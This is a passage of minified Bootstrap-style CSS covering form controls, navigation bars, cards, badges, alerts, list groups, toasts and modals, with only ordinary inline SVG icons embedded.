(prefers-reduced-motion:reduce){.custom-switch .custom-control-label:after{transition:none}}.custom-switch .custom-control-input:checked~.custom-control-label:after{background-color:#fff;-webkit-transform:translateX(.75rem);transform:translateX(.75rem)}.custom-switch .custom-control-input:disabled:checked~.custom-control-label:before{background-color:rgba(0,123,255,.5)}.custom-select{display:inline-block;width:100%;height:calc(1.5em + .75rem + 2px);padding:.375rem 1.75rem .375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;vertical-align:middle;background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right .75rem center/8px 10px;background-color:#fff;border:1px solid #ced4da;border-radius:.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-select:focus::-ms-value{color:#495057;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:.75rem;background-image:none}.custom-select:disabled{color:#6c757d;background-color:#e9ecef}.custom-select::-ms-expand{display:none}.custom-select-sm{height:calc(1.5em + .5rem + 2px);padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:.875rem}.custom-select-lg{height:calc(1.5em + 1rem + 2px);padding-top:.5rem;padding-bottom:.5rem;padding-left:1rem;font-size:1.25rem}.custom-file{display:inline-block;margin-bottom:0}.custom-file,.custom-file-input{position:relative;width:100%;height:calc(1.5em + .75rem + 2px)}.custom-file-input{z-index:2;margin:0;opacity:0}
9.custom-file-input:focus~.custom-file-label{border-color:#80bdff;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-file-input:disabled~.custom-file-label{background-color:#e9ecef}.custom-file-input:lang(en)~.custom-file-label:after{content:"Browse"}.custom-file-input~.custom-file-label[data-browse]:after{content:attr(data-browse)}.custom-file-label{left:0;z-index:1;height:calc(1.5em + .75rem + 2px);font-weight:400;background-color:#fff;border:1px solid #ced4da;border-radius:.25rem}.custom-file-label,.custom-file-label:after{position:absolute;top:0;right:0;padding:.375rem .75rem;line-height:1.5;color:#495057}.custom-file-label:after{bottom:0;z-index:3;display:block;height:calc(1.5em + .75rem);content:"Browse";background-color:#e9ecef;border-left:inherit;border-radius:0 .25rem .25rem 0}.custom-range{width:100%;height:1.4rem;padding:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-range:focus{outline:0}.custom-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range:focus::-ms-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range::-moz-focus-outer{border:0}.custom-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#007bff;border:0;border-radius:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-webkit-slider-thumb{transition:none}}.custom-range::-webkit-slider-thumb:active{background-color:#b3d7ff}.custom-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#007bff;border:0;border-radius:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-moz-range-thumb{transition:none}}.custom-range::-moz-range-thumb:active{background-color:#b3d7ff}.custom-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-ms-thumb{width:1rem;height:1rem;margin-top:0;margin-right:.2rem;margin-left:.2rem;background-color:#007bff;border:0;border-radius:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-ms-thumb{transition:none}}.custom-range::-ms-thumb:active{background-color:#b3d7ff}.custom-range::-ms-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:transparent;border-color:transparent;border-width:.5rem}.custom-range::-ms-fill-lower,.custom-range::-ms-fill-upper{background-color:#dee2e6;border-radius:1rem}.custom-range::-ms-fill-upper{margin-right:15px}.custom-range:disabled::-webkit-slider-thumb{background-color:#adb5bd}.custom-range:disabled::-webkit-slider-runnable-track{cursor:default}.custom-range:disabled::-moz-range-thumb{background-color:#adb5bd}.custom-range:disabled::-moz-range-track{cursor:default}.custom-range:disabled::-ms-thumb{background-color:#adb5bd}.custom-control-label:before,.custom-file-label,.custom-select{transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-control-label:before,.custom-file-label,.custom-select{transition:none}}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:.5rem 1rem}.nav-link:focus,.nav-link:hover{text-decoration:none}.nav-link.disabled{color:#6c757d;pointer-events:none;cursor:default}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.25rem;border-top-right-radius:.25rem}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{border-color:#e9ecef #e9ecef #dee2e6}.nav-tabs .nav-link.disabled{color:#6c757d;background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#007bff}.nav-fill .nav-item{flex:1 1 auto;text-align:center}.nav-justified .nav-item{flex-basis:0;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;padding:.5rem 1rem}.navbar,.navbar>.container,.navbar>.container-fluid{display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:.3125rem;padding-bottom:.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-nav{display:flex;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:.5rem;padding-bottom:.5rem}.navbar-collapse{flex-basis:100%;flex-grow:1;align-items:center}.navbar-toggler{padding:.25rem .75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:.25rem}.navbar-toggler:focus,.navbar-toggler:hover{text-decoration:none}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:no-repeat 50%;background-size:100% 100%}@media (max-width:575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-sm .navbar-nav{flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}}@media (max-width:767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:768px){.navbar-expand-md{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-md .navbar-nav{flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}}@media (max-width:991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:992px){.navbar-expand-lg{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-lg .navbar-nav{flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}}@media (max-width:1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:1200px){.navbar-expand-xl{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-xl .navbar-nav{flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}}.navbar-expand{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid{flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-light .navbar-brand,.navbar-light .navbar-brand:focus,.navbar-light .navbar-brand:hover{color:rgba(0,0,0,.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,.5)}.navbar-light .navbar-nav .nav-link:focus,.navbar-light .navbar-nav .nav-link:hover{color:rgba(0,0,0,.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,.3)}.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.active,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .show>.nav-link{color:rgba(0,0,0,.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,.5);border-color:rgba(0,0,0,.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-light .navbar-text{color:rgba(0,0,0,.5)}.navbar-light .navbar-text a,.navbar-light .navbar-text a:focus,.navbar-light .navbar-text a:hover{color:rgba(0,0,0,.9)}.navbar-dark .navbar-brand,.navbar-dark .navbar-brand:focus,.navbar-dark .navbar-brand:hover{color:#fff}.navbar-dark .navbar-nav .nav-link{color:hsla(0,0%,100%,.5)}.navbar-dark .navbar-nav .nav-link:focus,.navbar-dark .navbar-nav .nav-link:hover{color:hsla(0,0%,100%,.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:hsla(0,0%,100%,.25)}.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.active,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .show>.nav-link{color:#fff}.navbar-dark .navbar-toggler{color:hsla(0,0%,100%,.5);border-color:hsla(0,0%,100%,.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-dark .navbar-text{color:hsla(0,0%,100%,.5)}.navbar-dark .navbar-text a,.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:#fff}.card{position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid rgba(0,0,0,.125);border-radius:.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group:first-child .list-group-item:first-child{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.card>.list-group:last-child .list-group-item:last-child{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.card-body{flex:1 1 auto;padding:1.25rem}.card-title{margin-bottom:.75rem}.card-subtitle{margin-top:-.375rem}.card-subtitle,.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:rgba(0,0,0,.03);border-bottom:1px solid rgba(0,0,0,.125)}.card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card-header+.list-group .list-group-item:first-child{border-top:0}.card-footer{padding:.75rem 1.25rem;background-color:rgba(0,0,0,.03);border-top:1px solid rgba(0,0,0,.125)}.card-footer:last-child{border-radius:0 0 calc(.25rem - 1px) calc(.25rem - 1px)}.card-header-tabs{margin-bottom:-.75rem;border-bottom:0}.card-header-pills,.card-header-tabs{margin-right:-.625rem;
9margin-left:-.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;border-radius:calc(.25rem - 1px)}.card-img-top{width:100%;border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card-img-bottom{width:100%;border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card-deck{display:flex;flex-direction:column}.card-deck .card{margin-bottom:15px}@media (min-width:576px){.card-deck{flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{display:flex;flex:1 0 0%;flex-direction:column;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group{display:flex;flex-direction:column}.card-group>.card{margin-bottom:15px}@media (min-width:576px){.card-group{flex-flow:row wrap}.card-group>.card{flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-header,.card-group>.card:not(:last-child) .card-img-top{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-footer,.card-group>.card:not(:last-child) .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-header,.card-group>.card:not(:first-child) .card-img-top{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-footer,.card-group>.card:not(:first-child) .card-img-bottom{border-bottom-left-radius:0}}.card-columns .card{margin-bottom:.75rem}@media (min-width:576px){.card-columns{-webkit-column-count:3;column-count:3;-webkit-column-gap:1.25rem;-moz-column-gap:1.25rem;grid-column-gap:1.25rem;column-gap:1.25rem;orphans:1;widows:1}.card-columns .card{display:inline-block;width:100%}}.accordion>.card{overflow:hidden}.accordion>.card:not(:first-of-type) .card-header:first-child{border-radius:0}.accordion>.card:not(:first-of-type):not(:last-of-type){border-bottom:0;border-radius:0}.accordion>.card:first-of-type{border-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.accordion>.card:last-of-type{border-top-left-radius:0;border-top-right-radius:0}.accordion>.card .card-header{margin-bottom:-1px}.breadcrumb{display:flex;flex-wrap:wrap;padding:.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#e9ecef;border-radius:.25rem}.breadcrumb-item+.breadcrumb-item{padding-left:.5rem}.breadcrumb-item+.breadcrumb-item:before{display:inline-block;padding-right:.5rem;color:#6c757d;content:"/"}.breadcrumb-item+.breadcrumb-item:hover:before{text-decoration:underline;text-decoration:none}.breadcrumb-item.active{color:#6c757d}.pagination{display:flex;padding-left:0;list-style:none;border-radius:.25rem}.page-link{position:relative;display:block;padding:.5rem .75rem;margin-left:-1px;line-height:1.25;color:#007bff;background-color:#fff;border:1px solid #dee2e6}.page-link:hover{z-index:2;color:#0056b3;text-decoration:none;background-color:#e9ecef;border-color:#dee2e6}.page-link:focus{z-index:2;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.page-item:last-child .page-link{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.page-item.active .page-link{z-index:1;color:#fff;background-color:#007bff;border-color:#007bff}.page-item.disabled .page-link{color:#6c757d;pointer-events:none;cursor:auto;background-color:#fff;border-color:#dee2e6}.pagination-lg .page-link{padding:.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:.3rem;border-bottom-left-radius:.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:.3rem;border-bottom-right-radius:.3rem}.pagination-sm .page-link{padding:.25rem .5rem;font-size:.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:.2rem;border-bottom-left-radius:.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:.2rem;border-bottom-right-radius:.2rem}.badge{display:inline-block;padding:.25em .4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.badge{transition:none}}a.badge:focus,a.badge:hover{text-decoration:none}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:.6em;padding-left:.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#007bff}a.badge-primary:focus,a.badge-primary:hover{color:#fff;background-color:#0062cc}a.badge-primary.focus,a.badge-primary:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.badge-secondary{color:#fff;background-color:#6c757d}a.badge-secondary:focus,a.badge-secondary:hover{color:#fff;background-color:#545b62}a.badge-secondary.focus,a.badge-secondary:focus{outline:0;box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.badge-success{color:#fff;background-color:#28a745}a.badge-success:focus,a.badge-success:hover{color:#fff;background-color:#1e7e34}a.badge-success.focus,a.badge-success:focus{outline:0;box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.badge-info{color:#fff;background-color:#17a2b8}a.badge-info:focus,a.badge-info:hover{color:#fff;background-color:#117a8b}a.badge-info.focus,a.badge-info:focus{outline:0;box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.badge-warning{color:#212529;background-color:#ffc107}a.badge-warning:focus,a.badge-warning:hover{color:#212529;background-color:#d39e00}a.badge-warning.focus,a.badge-warning:focus{outline:0;box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.badge-danger{color:#fff;background-color:#dc3545}a.badge-danger:focus,a.badge-danger:hover{color:#fff;background-color:#bd2130}a.badge-danger.focus,a.badge-danger:focus{outline:0;box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.badge-light{color:#212529;background-color:#f8f9fa}a.badge-light:focus,a.badge-light:hover{color:#212529;background-color:#dae0e5}a.badge-light.focus,a.badge-light:focus{outline:0;box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.badge-dark{color:#fff;background-color:#343a40}a.badge-dark:focus,a.badge-dark:hover{color:#fff;background-color:#1d2124}a.badge-dark.focus,a.badge-dark:focus{outline:0;box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#e9ecef;border-radius:.3rem}@media (min-width:576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;padding:.75rem 1.25rem;color:inherit}.alert-primary{color:#004085;background-color:#cce5ff;border-color:#b8daff}.alert-primary hr{border-top-color:#9fcdff}.alert-primary .alert-link{color:#002752}.alert-secondary{color:#383d41;background-color:#e2e3e5;border-color:#d6d8db}
9.alert-secondary hr{border-top-color:#c8cbcf}.alert-secondary .alert-link{color:#202326}.alert-success{color:#155724;background-color:#d4edda;border-color:#c3e6cb}.alert-success hr{border-top-color:#b1dfbb}.alert-success .alert-link{color:#0b2e13}.alert-info{color:#0c5460;background-color:#d1ecf1;border-color:#bee5eb}.alert-info hr{border-top-color:#abdde5}.alert-info .alert-link{color:#062c33}.alert-warning{color:#856404;background-color:#fff3cd;border-color:#ffeeba}.alert-warning hr{border-top-color:#ffe8a1}.alert-warning .alert-link{color:#533f03}.alert-danger{color:#721c24;background-color:#f8d7da;border-color:#f5c6cb}.alert-danger hr{border-top-color:#f1b0b7}.alert-danger .alert-link{color:#491217}.alert-light{color:#818182;background-color:#fefefe;border-color:#fdfdfe}.alert-light hr{border-top-color:#ececf6}.alert-light .alert-link{color:#686868}.alert-dark{color:#1b1e21;background-color:#d6d8d9;border-color:#c6c8ca}.alert-dark hr{border-top-color:#b9bbbe}.alert-dark .alert-link{color:#040505}@-webkit-keyframes progress-bar-stripes{0%{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{0%{background-position:1rem 0}to{background-position:0 0}}.progress{display:flex;height:1rem;overflow:hidden;font-size:.75rem;background-color:#e9ecef;border-radius:.25rem}.progress-bar{display:flex;flex-direction:column;justify-content:center;color:#fff;text-align:center;white-space:nowrap;background-color:#007bff;transition:width .6s ease}@media (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:progress-bar-stripes 1s linear infinite;animation:progress-bar-stripes 1s linear infinite}@media (prefers-reduced-motion:reduce){.progress-bar-animated{-webkit-animation:none;animation:none}}.media{display:flex;align-items:flex-start}.media-body{flex:1}
9.list-group{display:flex;flex-direction:column;padding-left:0;margin-bottom:0}.list-group-item-action{width:100%;color:#495057;text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{z-index:1;color:#495057;text-decoration:none;background-color:#f8f9fa}.list-group-item-action:active{color:#212529;background-color:#e9ecef}.list-group-item{position:relative;display:block;padding:.75rem 1.25rem;margin-bottom:-1px;background-color:#fff;border:1px solid rgba(0,0,0,.125)}.list-group-item:first-child{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.list-group-item.disabled,.list-group-item:disabled{color:#6c757d;pointer-events:none;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#007bff;border-color:#007bff}.list-group-horizontal{flex-direction:row}.list-group-horizontal .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal .list-group-item:first-child{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal .list-group-item:last-child{margin-right:0;border-top-right-radius:.25rem;border-bottom-right-radius:.25rem;border-bottom-left-radius:0}@media (min-width:576px){.list-group-horizontal-sm{flex-direction:row}.list-group-horizontal-sm .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-sm .list-group-item:first-child{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-sm .list-group-item:last-child{margin-right:0;border-top-right-radius:.25rem;border-bottom-right-radius:.25rem;border-bottom-left-radius:0}}@media (min-width:768px){.list-group-horizontal-md{flex-direction:row}.list-group-horizontal-md .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-md .list-group-item:first-child{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-md .list-group-item:last-child{margin-right:0;border-top-right-radius:.25rem;border-bottom-right-radius:.25rem;border-bottom-left-radius:0}}@media (min-width:992px){.list-group-horizontal-lg{flex-direction:row}.list-group-horizontal-lg .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-lg .list-group-item:first-child{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-lg .list-group-item:last-child{margin-right:0;border-top-right-radius:.25rem;border-bottom-right-radius:.25rem;border-bottom-left-radius:0}}@media (min-width:1200px){.list-group-horizontal-xl{flex-direction:row}.list-group-horizontal-xl .list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-xl .list-group-item:first-child{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-xl .list-group-item:last-child{margin-right:0;border-top-right-radius:.25rem;border-bottom-right-radius:.25rem;border-bottom-left-radius:0}}.list-group-flush .list-group-item{border-right:0;border-left:0;border-radius:0}.list-group-flush .list-group-item:last-child{margin-bottom:-1px}.list-group-flush:first-child .list-group-item:first-child{border-top:0}.list-group-flush:last-child .list-group-item:last-child{margin-bottom:0;border-bottom:0}.list-group-item-primary{color:#004085;background-color:#b8daff}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#004085;background-color:#9fcdff}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#004085;border-color:#004085}.list-group-item-secondary{color:#383d41;background-color:#d6d8db}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#383d41;background-color:#c8cbcf}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#383d41;border-color:#383d41}.list-group-item-success{color:#155724;background-color:#c3e6cb}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#155724;background-color:#b1dfbb}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#155724;border-color:#155724}.list-group-item-info{color:#0c5460;background-color:#bee5eb}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#0c5460;background-color:#abdde5}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#0c5460;border-color:#0c5460}.list-group-item-warning{color:#856404;background-color:#ffeeba}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#856404;background-color:#ffe8a1}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#856404;border-color:#856404}.list-group-item-danger{color:#721c24;background-color:#f5c6cb}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#721c24;background-color:#f1b0b7}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#721c24;border-color:#721c24}.list-group-item-light{color:#818182;background-color:#fdfdfe}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#818182;background-color:#ececf6}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#818182;border-color:#818182}.list-group-item-dark{color:#1b1e21;background-color:#c6c8ca}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#1b1e21;background-color:#b9bbbe}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#1b1e21;border-color:#1b1e21}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;
9opacity:.5}.close:hover{color:#000;text-decoration:none}.close:not(:disabled):not(.disabled):focus,.close:not(:disabled):not(.disabled):hover{opacity:.75}button.close{padding:0;background-color:transparent;border:0;-webkit-appearance:none;-moz-appearance:none;appearance:none}a.close.disabled{pointer-events:none}.toast{max-width:350px;overflow:hidden;font-size:.875rem;background-color:hsla(0,0%,100%,.85);background-clip:padding-box;border:1px solid rgba(0,0,0,.1);box-shadow:0 .25rem .75rem rgba(0,0,0,.1);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px);opacity:0;border-radius:.25rem}.toast:not(:last-child){margin-bottom:.75rem}.toast.showing{opacity:1}.toast.show{display:block;opacity:1}.toast.hide{display:none}.toast-header{display:flex;align-items:center;padding:.25rem .75rem;color:#6c757d;background-color:hsla(0,0%,100%,.85);background-clip:padding-box;border-bottom:1px solid rgba(0,0,0,.05)}.toast-body{padding:.75rem}.modal-open{overflow:hidden}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal{position:fixed;top:0;left:0;z-index:1050;display:none;width:100%;height:100%;overflow:hidden;outline:0}.modal-dialog{position:relative;width:auto;margin:.5rem;pointer-events:none}.modal.fade .modal-dialog{transition:-webkit-transform .3s ease-out;transition:transform .3s ease-out;transition:transform .3s ease-out,-webkit-transform .3s ease-out;-webkit-transform:translateY(-50px);transform:translateY(-50px)}@media (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{-webkit-transform:none;transform:none}.modal-dialog-scrollable{display:flex;max-height:calc(100% - 1rem)}
